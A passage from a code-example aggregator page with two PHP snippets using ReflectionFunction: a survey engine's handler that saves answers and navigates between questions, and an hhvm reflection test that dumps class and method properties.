                 /* save data record */
                 $this->getDataRecord()->saveRecord();
                 /* we finished everything and are showing a question if all went well 
                  * so this is the moment to update the state
                  */
                 $this->saveState(false);
                 /* stop */
                 return;
             } else {
                 if (isset($_POST['navigation']) && inArray($_POST['navigation'], array($nextlabel, $dklabel, $rflabel, $nalabel))) {
                     $torgid = 0;
                     $result = $db->selectQuery('select torgid from ' . Config::dbSurvey() . '_next where suid=' . prepareDatabaseString($this->getSuid()) . ' and seid=' . prepareDatabaseString($this->seid) . ' and fromrgid = ' . prepareDatabaseString($lastrgid));
                     //echo 'select * from ' . Config::dbSurvey() . '_next where suid=' . prepareDatabaseString($this->getSuid()) . ' and seid=' . prepareDatabaseString($this->seid) . ' and fromrgid = ' . prepareDatabaseString($lastrgid);
                     if ($row = $db->getRow($result)) {
                         $torgid = $row["torgid"];
                     }
                     /* indicate we are going forward */
                     $this->setForward(true);
                     /* log action */
                     if ($_POST['navigation'] == $nextlabel) {
                         $this->currentaction = ACTION_EXIT_NEXT;
                         $this->logAction($lastrgid, ACTION_EXIT_NEXT);
                     } else {
                         if ($_POST['navigation'] == $dklabel) {
                             $this->currentaction = ACTION_EXIT_DK;
                             $this->logAction($lastrgid, ACTION_EXIT_DK);
                         } else {
                             if ($_POST['navigation'] == $rflabel) {
                                 $this->currentaction = ACTION_EXIT_RF;
                                 $this->logAction($lastrgid, ACTION_EXIT_RF);
                             } else {
                                 if ($_POST['navigation'] == $nalabel) {
                                     $this->currentaction = ACTION_EXIT_NA;
                                     $this->logAction($lastrgid, ACTION_EXIT_NA);
                                 }
                             }
                         }
                     }
                     /* store answers in db and previous state */
                     $cnt = 1;
                     //echo $torgid . '---';
                     foreach ($vars as $var) {
                         //echo 'answer for ' . $var . ' at ' . $cnt . ' is: ' .  loadvar("answer" . $cnt) . '---<br/>';
                         // next button
                         if ($_POST['navigation'] == $nextlabel) {
                             $vd = $this->getVariableDescriptive($var);
                             if ($vd->getAnswerType() == ANSWER_TYPE_SETOFENUMERATED || $vd->getAnswerType() == ANSWER_TYPE_MULTIDROPDOWN) {
                                 $answer = "";
                                 if ($dkrfnacheck == true) {
                                     /* dk/rf/na */
                                     $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt . "_dkrfna");
                                     if (!inArray($answer, array(ANSWER_DK, ANSWER_RF, ANSWER_NA))) {
                                         $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                                     }
                                 } else {
                                     $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                                 }
                                 if (is_array($answer)) {
                                     $answer = implode(SEPARATOR_SETOFENUMERATED, $answer);
                                 }
                                 $this->setAnswer($var, $answer, DATA_CLEAN);
                             } else {
                                 if ($vd->getAnswerType() != ANSWER_TYPE_NONE) {
                                     $answer = "";
                                     if ($dkrfnacheck == true) {
                                         /* dk/rf/na */
                                         $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt . "_dkrfna");
                                         if (!inArray($answer, array(ANSWER_DK, ANSWER_RF, ANSWER_NA))) {
                                             $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                                         }
                                     } else {
                                         $answer = loadvarSurvey(SESSION_PARAMS_ANSWER . $cnt);
                                     }
                                     $this->setAnswer($var, $answer, DATA_CLEAN);
                                 }
                             }
                         } else {
                             if ($_POST['navigation'] == $dklabel) {
                                 $vd = $this->getVariableDescriptive($var);
                                 if ($vd->getAnswerType() != ANSWER_TYPE_NONE) {
                                     $this->setAnswer($var, ANSWER_DK, DATA_CLEAN);
                                 }
                             } else {
                                 if ($_POST['navigation'] == $rflabel) {
                                     $vd = $this->getVariableDescriptive($var);
                                     if ($vd->getAnswerType() != ANSWER_TYPE_NONE) {
                                         $this->setAnswer($var, ANSWER_RF, DATA_CLEAN);
                                     }
                                 } else {
                                     if ($_POST['navigation'] == $nalabel) {
                                         $vd = $this->getVariableDescriptive($var);
                                         if ($vd->getAnswerType() != ANSWER_TYPE_NONE) {
                                             $this->setAnswer($var, ANSWER_NA, DATA_CLEAN);
                                         }
                                     }
                                 }
                             }
                         }
                         $cnt++;
                     }
                     /* update remark status to clean */
                     if ($remarks == BUTTON_YES && loadvarSurvey(POST_PARAM_REMARK_INDICATOR) == 1) {
                         $this->updateRemarkStatus(DATA_CLEAN);
                     }
                     $onsubmit = "";
                     if ($_POST['navigation'] == $nextlabel) {
                         $onsubmit = $queryobject->getOnNext();
                     } else {
                         if ($_POST['navigation'] == $dklabel) {
                             $onsubmit = $queryobject->getOnDK();
                         } else {
                             if ($_POST['navigation'] == $rflabel) {
                                 $onsubmit = $queryobject->getOnRF();
                             } else {
                                 if ($_POST['navigation'] == $nalabel) {
                                     $onsubmit = $queryobject->getOnNA();
                                 }
                             }
                         }
                     }
                     $tocall = $this->replaceFills($onsubmit);
                     $parameters = array();
                     if (stripos($tocall, '(') !== false) {
                         $parameters = rtrim(substr($tocall, stripos($tocall, '(') + 1), ')');
                         $parameters = preg_split("/[\\s,]+/", $parameters);
                         $tocall = substr($tocall, 0, stripos($tocall, '('));
                     }
                     if (function_exists($tocall)) {
                         try {
                             $f = new ReflectionFunction($tocall);
                             $returnStr .= $f->invoke($parameters);
                         } catch (Exception $e) {
                         }
                     }
                     // action to do
                     if ($torgid > 0) {
                         /* reset any assignments */
                         $this->setAssignments(array());
                         /* reset inline fields */
                         $this->setInlineFields(array());
                         /* reset sub displays */
                         $this->setSubDisplays(array());
                         /* reset fill texts */
                         $this->setFillTexts(array());
                         /* do action */
                         $this->doAction($torgid);
                         /* we finished everything and are showing a question if 
                          * went well so this is the moment to save the state
                          */
                         if ($this->endofsurvey == false) {
                             if ($this->getFlooding()) {
                                 if ($this->stop != true) {
                                     $this->getDataRecord()->saveRecord();
                                     $this->saveState();
                                 }
                             } else {
                                 /* save data record */
                                 $this->getDataRecord()->saveRecord();
                                 $this->saveState();
                             }
                         }
                     } else {
                         /* not end of survey, then clear any assignments and so on */
                         if ($this->isMainSection() == false) {
                             /* reset any assignments */
                             $this->setAssignments(array());
                             /* reset inline fields */
                             $this->setInlineFields(array());
                             /* reset sub displays */
                             $this->setSubDisplays(array());
                             /* reset fill texts */
                             $this->setFillTexts(array());
                         }
                         /* do end */
                         $this->doEnd(true);
                     }
                     /* stop */
                     if ($this->getFlooding()) {
                         if ($this->stop != true) {
                             $this->doFakeSubmit($this->getDisplayed(), $this->getRgid(), $this->getTemplate());
                             $this->getNextQuestion();
                         }
                         $this->stop = true;
                         return;
                     }
                     doExit();
                 }
             }
         }
     }
 }
コード例 #30
0
ファイル: 1354.php プロジェクト: badlamer/hhvm
        var_dump($name);
        dump_prop($prop, $obj);
    }
    foreach ($cls->getMethods() as $name => $func) {
        var_dump($name);
        dump_func($func);
        var_dump($func->isFinal());
        var_dump($func->isAbstract());
        var_dump($func->isPublic());
        var_dump($func->isPrivate());
        var_dump($func->isProtected());
        var_dump($func->isStatic());
        var_dump($func->isConstructor());
        var_dump($func->isDestructor());
        var_dump($func->getModifiers() & 0xffff);
        verify_class($func->getDeclaringClass());
        if ($name == 'method1') {
            $func->invoke($obj, 'invoked');
        }
    }
}
$func = new ReflectionFunction('func1');
dump_func($func);
$func = new ReflectionFunction('func2');
$func->invoke('invoked');
$cls = new ReflectionClass('cls1');
$obj = $cls->newInstance();
dump_class($cls, $obj);
$cls = new ReflectionClass('cls2');
$obj = $cls->newInstance();
dump_class($cls, $obj);